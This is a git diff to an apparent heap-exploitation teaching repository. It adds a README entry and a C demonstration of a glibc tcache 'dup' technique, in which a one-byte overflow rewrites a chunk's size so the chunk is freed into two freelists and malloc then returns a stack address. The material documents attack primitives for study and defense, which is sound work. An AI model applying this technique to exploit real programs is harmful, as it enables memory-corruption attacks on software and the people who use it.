diff --git a/README.md b/README.md index 59bc33a..0ccd764 100644 --- a/README.md +++ b/README.md @@ -41,10 +41,11 @@ We came up with the idea during a hack meeting, and have implemented the followi | [decrypt_safe_linking.c](glibc_2.35/decrypt_safe_linking.c) | :arrow_forward: | Decrypt the poisoned value in linked list to recover the actual pointer | >= 2.32 | | | | [safe_link_double_protect.c](glibc_2.36/safe_link_double_protect.c) | | Leakless bypass for PROTECT_PTR by protecting a pointer twice, allowing for arbitrary pointer linking in t-cache | >= 2.32 | | [37c3 Potluck - Tamagoyaki](https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki)| | [tcache_dup.c](obsolete/glibc_2.27/tcache_dup.c)(obsolete) | | Tricking malloc into returning an already-allocated heap pointer by abusing the tcache freelist. | 2.26 - 2.28 | [patch](https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d) | | +| [tcache_dup_overflow.c](glibc_2.31/tcache_dup_overflow.c) | | With UAF on a freed tcache chunk and the ability to overwrite the size of the chunk, the chunk could be put back to freelist. | 2.26 - 2.41 | [patch](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=eff1f680cffb005a5623d1c8a952d095b988d6a2) | | | [tcache_metadata_poisoning.c](glibc_2.27/tcache_metadata_poisoning.c) | | Trick the tcache into providing arbitrary pointers by manipulating the tcache metadata struct | >= 2.26 | | | | [house_of_io.c](glibc_2.31/house_of_io.c) | | Tricking malloc into return a pointer to arbitrary memory by manipulating the tcache management struct by UAF in a free'd tcache chunk. | 2.31 - 2.33 | | | | [tcache_relative_write.c](glibc_2.41/tcache_relative_write.c) | | Arbitrary decimal value and chunk pointer writing in heap by out-of-bounds tcache metadata writing | 2.30-2.41 | [patch](https://sourceware.org/git/?p=glibc.git;a=commit;h=cbfd7988107b27b9ff1d0b57fa2c8f13a932e508) | | -| [tcache_metadata_hijacking](glibc_2.42/tcache_metadata_hijacking.c) | | Arbitrary allocation by overflow into tcache metadata | >= 2.42 | | | +| [tcache_metadata_hijacking](glibc_2.42/tcache_metadata_hijacking.c) | | Arbitrary allocation by overflow into tcache metadata | >= 2.43 | [introduction](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=2bf2188fae1f3e48d12fdd26f56ff6881fd0b316) | | The GnuLibc is under constant development and several of the techniques above have let to consistency checks introduced in the malloc/free logic. Consequently, these checks regularly break some of the techniques and require adjustments to bypass them (if possible). @@ -162,4 +163,3 @@ There are a couple of "hardening" measures embedded in glibc, like `export MALLO More info: [mcheck()](http://www.gnu.org/software/libc/manual/html_node/Heap-Consistency-Checking.html), [mallopt()](http://www.gnu.org/software/libc/manual/html_node/Malloc-Tunable-Parameters.html). There's also some tracing support as [mtrace()](http://manpages.ubuntu.com/mtrace), [malloc_stats()](http://manpages.ubuntu.com/malloc_stats), [malloc_info()](http://manpages.ubuntu.com/malloc_info), [memusage](http://manpages.ubuntu.com/memusage), and in other functions in this family. - diff --git a/glibc_2.31/tcache_dup_overflow.c b/glibc_2.31/tcache_dup_overflow.c new file mode 100644 index 0000000..ee0d5f2 --- /dev/null +++ b/glibc_2.31/tcache_dup_overflow.c @@ -0,0 +1,61 @@ +#include +#include +#include + +/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * + * tcache dup demonstration * + * requirements: have a uaf pointer on tcache chunk; * + * able to overwrite the size of the chunk;* + * you don't need: the ability to overwrite tcache key * + * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ +int main(void) { + setbuf(stdout, NULL); + + puts("\nStep 1: prepare victim chunk and put some other on freelist"); + char *overflowp = malloc(0x18); + size_t *victim = malloc(0x58); + size_t *on_chain = malloc(0x58); + free(on_chain); + printf("overflow = %p\n", overflowp); + printf("victim@0x61 = %p\n", victim); + puts("Another chunk freed"); + + puts("\nStep 2: overwrite the size of victim to put it in two freelists"); + /* VULNERABILITY */ + // assume you have one byte overflow + puts("Trick free that victim is 0x31 in size"); + overflowp[0x18] = 0x31; + free(victim); + puts("Then set size back to 0x61"); + overflowp[0x18] = 0x61; + free(victim); + /* VULNERABILITY */ + + printf("victim->fd = %#lx\n", *victim); + printf("Should be previously freed chunk %p\n", on_chain); + + size_t some_var = 0; + puts("\nStep 3: allocate back victim@0x31 to modify fd to stack var"); + printf("some_var = %#lx\n", some_var); + size_t *victim_0x31 = malloc(0x28); + printf("victim_0x31 = %p\n", victim_0x31); + *victim_0x31 = (size_t)&some_var; + printf("*victim_0x31 = %p\n", &some_var); + + puts("\nStep 4: allocate twice victim@0x61 to get access to stack var"); + size_t *victim_0x61 = malloc(0x58); + printf("victim_0x61 = %p\n", victim_0x61); + size_t *ptr = malloc(0x58); + printf("Finally we got %p, set it to 0x1337\n", ptr); + *ptr = 0x1337; + printf("some_var = %#lx\n", some_var); + + return 0; + + /* credit: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=eff1f680cffb005a5623d1c8a952d095b988d6a2 + * + * Reason of this hack: the double free check on tcache only examine the freelist + * for the exact size of the chunk we freed. By resetting the size of the chunk, + * we cheat glibc that the chunk is not freed yet, so we can free it in two freelists. + */ +}